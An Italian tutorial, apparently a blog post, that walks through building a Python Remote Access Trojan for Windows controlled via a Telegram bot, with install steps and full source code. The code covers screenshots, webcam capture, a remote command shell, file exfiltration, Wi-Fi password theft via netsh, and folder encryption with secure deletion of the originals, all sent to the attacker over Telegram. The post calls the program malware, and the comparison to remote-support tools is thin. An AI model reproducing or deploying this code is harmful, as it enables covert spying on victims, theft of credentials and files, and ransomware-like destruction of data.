Un rat (Remote Access Trojan) è un malware che permette ad un attaccante di ottenere il controllo remoto di un computer infetto. Una volta che il RAT è in esecuzione l'aggressore può inviargli comandi e ricevere dati in risposta come se avesse il pieno controllo del PC (in questo caso Windows).
Questo programma può essere visto anche come una specie di Anydesk o Lanschool quindi ruolo di controllo in ambito lavorativo (una shell di Windows e 300 righe di codice in Python sono sicuramente più leggeri dei programmi citati).

Installazione:
Il requisito iniziale è avere Python installato. Trovata l'ultima versione avviate il setup:

Terminata l'installazione recatevi su Powershell, ora abbiamo bisogno di pip:
Invoke-WebRequest -Uri https://bootstrap.pypa.io/get-pip.py -OutFile get-pip.py
python get-pip.py
Ora dovete salvarvi da qualche parte la directory con il rat (nel mio caso sui downloads), dopo aver creato la cartella aggiungete un file requirements.txt con scritto:
mss
opencv-python
pyttsx3
telebot
clipboard
secure-delete
pyAesCrypt
e il file ehfrat.py da riempire in seguito.
Entriamo nella directory del rat sempre da Powershell:
Set-Location -Path "C:\Users\samuele\Downloads\ehfrat"
cd "C:\Users\samuele\Downloads\ehfrat"
Infine:
pip install -r requirements.txt

Installati i requisiti basterà avviare il file Python (modificato):
python ehfrat.py
Codice:
Aggiungiamo le librerie che useremo per ogni comando:
import os
import re
import mss
import cv2
import time
import pyttsx3
import telebot
import platform
import clipboard
import subprocess
import pyAesCrypt
from secure_delete import secure_delete
- os: per interagire con il sistema operativo.
- re: per le espressioni regolari.
- mss: Per gli screenshot.
- cv2: fa parte di OpenCV per gestire la webcam.
- time
- pyttsx3: sintesi vocale.
- telebot: per collegare le API di Telegram.
- platform: per le info sull'os.
- clipboard: per accedere alla clipboard (oggetti copiati).
- subprocess: per lanciare comandi.
- pyAesCrypt: per criptare e decriptare file.
- secure_delete: per eliminare i file originali dopo averli criptati.
Definiamo il bot con il relativo webhook:
BOT_TOKEN='qui'
telegram_bot=telebot.TeleBot(BOT_TOKEN)
current_directory=os.path.expanduser("~")
secure_delete.secure_random_seed_init()
telegram_bot.set_webhook()
Per generare il token dovrete recarvi da @BotFather su Telegram:

Aggiungiamo una guida iniziale per una legenda:
@telegram_bot.message_handler(commands=['start'])
def start_handler(msg):
telegram_bot.send_message(msg.chat.id, (
'Welcome! Send /screen to capture screenshot.\n'
'/sys to get system information.\n'
'/ip to get IP address.\n'
'/cd to navigate in folders.\n'
'/ls to list elements.\n'
'/upload [path] to get file.\n'
'/crypt [path] to encrypt folder files.\n'
'/decrypt [path] to decrypt folder files.\n'
'/webcam to capture a webcam image.\n'
'/lock to lock the session.\n'
'/clipboard to get clipboard content.\n'
'/shell to enter remote shell interface.\n'
'/wifi to get Wi-Fi passwords.\n'
'/speech [text] to convert text to speech.\n'
'/shutdown to shut down the system.'
))
Comando per screen:
@telegram_bot.message_handler(commands=['screen'])
def screen_handler(msg):
with mss.mss() as screenshot:
screenshot.shot(output=f"{current_directory}/capture.png")
image_path = f"{current_directory}/capture.png"
with open(image_path, "rb") as photo:
telegram_bot.send_photo(msg.chat.id, photo)
Info su IP:
@telegram_bot.message_handler(commands=['ip'])
def ip_handler(msg):
try:
command_ip = "curl ipinfo.io/ip"
result = subprocess.check_output(command_ip, shell=True)
public_ip = result.decode("utf-8").strip()
telegram_bot.send_message(msg.chat.id, public_ip)
except:
telegram_bot.send_message(msg.chat.id, 'Error retrieving IP address.')
Info sul sistema operativo:
@telegram_bot.message_handler(commands=['sys'])
def system_info_handler(msg):
sys_info = {
'Platform': platform.platform(),
'System': platform.system(),
'Node Name': platform.node(),
'Release': platform.release(),
'Version': platform.version(),
'Machine': platform.machine(),
'Processor': platform.processor(),
'CPU Cores': os.cpu_count(),
'Username': os.getlogin(),
}
info_text = '\n'.join(f"{key}: {value}" for key, value in sys_info.items())
telegram_bot.send_message(msg.chat.id, info_text)
Elenco dei file (ls):
@telegram_bot.message_handler(commands=['ls'])
def list_directory_handler(msg):
try:
contents = os.listdir(current_directory)
if not contents:
telegram_bot.send_message(msg.chat.id, "Folder is empty.")
else:
response = "Directory content:\n"
response += "\n".join(f"- {item}" for item in contents)
telegram_bot.send_message(msg.chat.id, response)
except Exception as e:
telegram_bot.send_message(msg.chat.id, f"An error occurred: {str(e)}")
Cambia directory (cd):
@telegram_bot.message_handler(commands=['cd'])
def change_directory_handler(msg):
try:
global current_directory
args = msg.text.split(' ')
if len(args) >= 2:
new_directory = args[1]
new_path = os.path.join(current_directory, new_directory)
if os.path.exists(new_path) and os.path.isdir(new_path):
current_directory = new_path
telegram_bot.send_message(msg.chat.id, f"You are now in: {current_directory}")
else:
telegram_bot.send_message(msg.chat.id, "The directory does not exist.")
else:
telegram_bot.send_message(msg.chat.id, "Incorrect command usage. Use /cd [folder name]")
except Exception as e:
telegram_bot.send_message(msg.chat.id, f"An error occurred: {str(e)}")
Carica file:
@telegram_bot.message_handler(commands=['upload'])
def upload_handler(msg):
try:
args = msg.text.split(' ')
if len(args) >= 2:
file_path = args[1]
if os.path.exists(file_path):
with open(file_path, 'rb') as file:
telegram_bot.send_document(msg.chat.id, file)
telegram_bot.send_message(msg.chat.id, "File has been transferred successfully.")
else:
telegram_bot.send_message(msg.chat.id, "The specified path does not exist.")
else:
telegram_bot.send_message(msg.chat.id, "Incorrect command usage. Use /upload [PATH]")
except Exception as e:
telegram_bot.send_message(msg.chat.id, f"An error occurred: {str(e)}")
Cripta i file in una cartella:
@telegram_bot.message_handler(commands=['crypt'])
def encrypt_folder_handler(msg):
try:
if len(msg.text.split()) >= 2:
folder_to_encrypt = msg.text.split()[1]
password = "Your_strong_password"
for root, dirs, files in os.walk(folder_to_encrypt):
for file in files:
file_path = os.path.join(root, file)
encrypted_file_path = file_path + '.crypt'
pyAesCrypt.encryptFile(file_path, encrypted_file_path, password)
if not file_path.endswith('.crypt'):
secure_delete.secure_delete(file_path)
telegram_bot.send_message(msg.chat.id, "Folder encrypted and original files securely deleted successfully.")
else:
telegram_bot.send_message(msg.chat.id, "Incorrect command usage. Use /crypt [FOLDER_PATH]")
except Exception as e:
telegram_bot.send_message(msg.chat.id, f"An error occurred: {str(e)}")
Decripta file:
@telegram_bot.message_handler(commands=['decrypt'])
def decrypt_folder_handler(msg):
try:
if len(msg.text.split()) >= 2:
folder_to_decrypt = msg.text.split()[1]
password = "Your_strong_password"
for root, dirs, files in os.walk(folder_to_decrypt):
for file in files:
if file.endswith('.crypt'):
file_path = os.path.join(root, file)
decrypted_file_path = file_path[:-6]
pyAesCrypt.decryptFile(file_path, decrypted_file_path, password)
secure_delete.secure_delete(file_path)
telegram_bot.send_message(msg.chat.id, "Folder decrypted and encrypted files deleted successfully.")
else:
telegram_bot.send_message(msg.chat.id, "Incorrect command usage. Use /decrypt [ENCRYPTED_FOLDER_PATH]")
except Exception as e:
telegram_bot.send_message(msg.chat.id, f"An error occurred: {str(e)}")
Blocca sessione:
@telegram_bot.message_handler(commands=['lock'])
def lock_handler(msg):
try:
result = subprocess.run(["rundll32.exe", "user32.dll,LockWorkStation"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
if result.returncode == 0:
telegram_bot.send_message(msg.chat.id, "Windows session successfully locked.")
else:
telegram_bot.send_message(msg.chat.id, "Unable to lock Windows session.")
except Exception as e:
telegram_bot.send_message(msg.chat.id, f"An error occurred: {str(e)}")
Spegnimento:
shutdown_commands = [
['shutdown', '/s', '/t', '5'],
['shutdown', '-s', '-t', '5'],
['shutdown.exe', '/s', '/t', '5'],
['shutdown.exe', '-s', '-t', '5'],
]
@telegram_bot.message_handler(commands=['shutdown'])
def shutdown_handler(msg):
try:
success = False
for cmd in shutdown_commands:
result = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
if result.returncode == 0:
success = True
break
if success:
telegram_bot.send_message(msg.chat.id, "Shutdown in 5 seconds.")
else:
telegram_bot.send_message(msg.chat.id, "Unable to shutdown.")
except Exception as e:
telegram_bot.send_message(msg.chat.id, f"An error occurred: {str(e)}")
Per scattare foto dalla webcam:
@telegram_bot.message_handler(commands=['webcam'])
def webcam_handler(msg):
try:
cap = cv2.VideoCapture(0)
if not cap.isOpened():
telegram_bot.send_message(msg.chat.id, "Error: Unable to open the webcam.")
else:
ret, frame = cap.read()
if ret:
cv2.imwrite("webcam.jpg", frame)
with open("webcam.jpg", 'rb') as photo_file:
telegram_bot.send_photo(msg.chat.id, photo=photo_file)
os.remove("webcam.jpg")
else:
telegram_bot.send_message(msg.chat.id, "Error while capturing the image.")
cap.release()
except Exception as e:
telegram_bot.send_message(msg.chat.id, f"An error occurred: {str(e)}")
Sintesi vocale:
@telegram_bot.message_handler(commands=['speech'])
def speech_handler(msg):
try:
text = msg.text.replace('/speech', '').strip()
if text:
pyttsx3.speak(text)
telegram_bot.send_message(msg.chat.id, "Text spoken successfully.")
else:
telegram_bot.send_message(msg.chat.id, "Use like this: /speech [TEXT]")
except Exception as e:
telegram_bot.send_message(msg.chat.id, f"An error occurred: {str(e)}")
Stati utente per le shell:
user_states = {}
STATE_NORMAL = 1
STATE_SHELL = 2
@telegram_bot.message_handler(commands=['shell'])
def shell_handler(msg):
user_id = msg.from_user.id
user_states[user_id] = STATE_SHELL
telegram_bot.send_message(user_id, "You are now in the remote shell interface. Type 'exit' to exit.")
@telegram_bot.message_handler(func=lambda msg: get_user_state(msg.from_user.id) == STATE_SHELL)
def handle_shell_commands(msg):
user_id = msg.from_user.id
command = msg.text.strip()
if command.lower() == 'exit':
telegram_bot.send_message(user_id, "Exiting remote shell interface.")
user_states[user_id] = STATE_NORMAL
else:
try:
process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout, stderr = process.communicate()
if stdout:
output = stdout.decode('utf-8', errors='ignore')
send_long_message(user_id, f"Command output:\n{output}")
if stderr:
error_output = stderr.decode('utf-8', errors='ignore')
send_long_message(user_id, f"Command error output:\n{error_output}")
except Exception as e:
telegram_bot.send_message(user_id, f"An error occurred: {str(e)}")
def get_user_state(user_id):
return user_states.get(user_id, STATE_NORMAL)
def send_long_message(user_id, message_text):
part_size = 4000
message_parts = [message_text[i:i+part_size] for i in range(0, len(message_text), part_size)]
for part in message_parts:
telegram_bot.send_message(user_id, part)
Password wifi:
@telegram_bot.message_handler(commands=['wifi'])
def wifi_handler(msg):
try:
subprocess.run(['netsh', 'wlan', 'export', 'profile', 'key=clear'], shell=True, text=True)
with open('Wi-Fi-App.xml', 'r') as file:
xml_content = file.read()
ssid_match = re.search(r'<name>(.*?)<\/name>', xml_content)
password_match = re.search(r'<keyMaterial>(.*?)<\/keyMaterial>', xml_content)
if ssid_match and password_match:
ssid = ssid_match.group(1)
password = password_match.group(1)
message_text = f"SSID: {ssid}\nPASS: {password}"
telegram_bot.send_message(msg.chat.id, message_text)
try:
os.remove("Wi-Fi-App.xml")
except:
pass
else:
telegram_bot.send_message(msg.chat.id, "Wi-Fi credentials not found.")
except Exception as e:
telegram_bot.send_message(msg.chat.id, f"An error occurred: {str(e)}")
Bot in ascolto:
if __name__ == "__main__":
print('Waiting for commands...')
try:
telegram_bot.infinity_polling()
except:
time.sleep(10)
Video dimostrazione: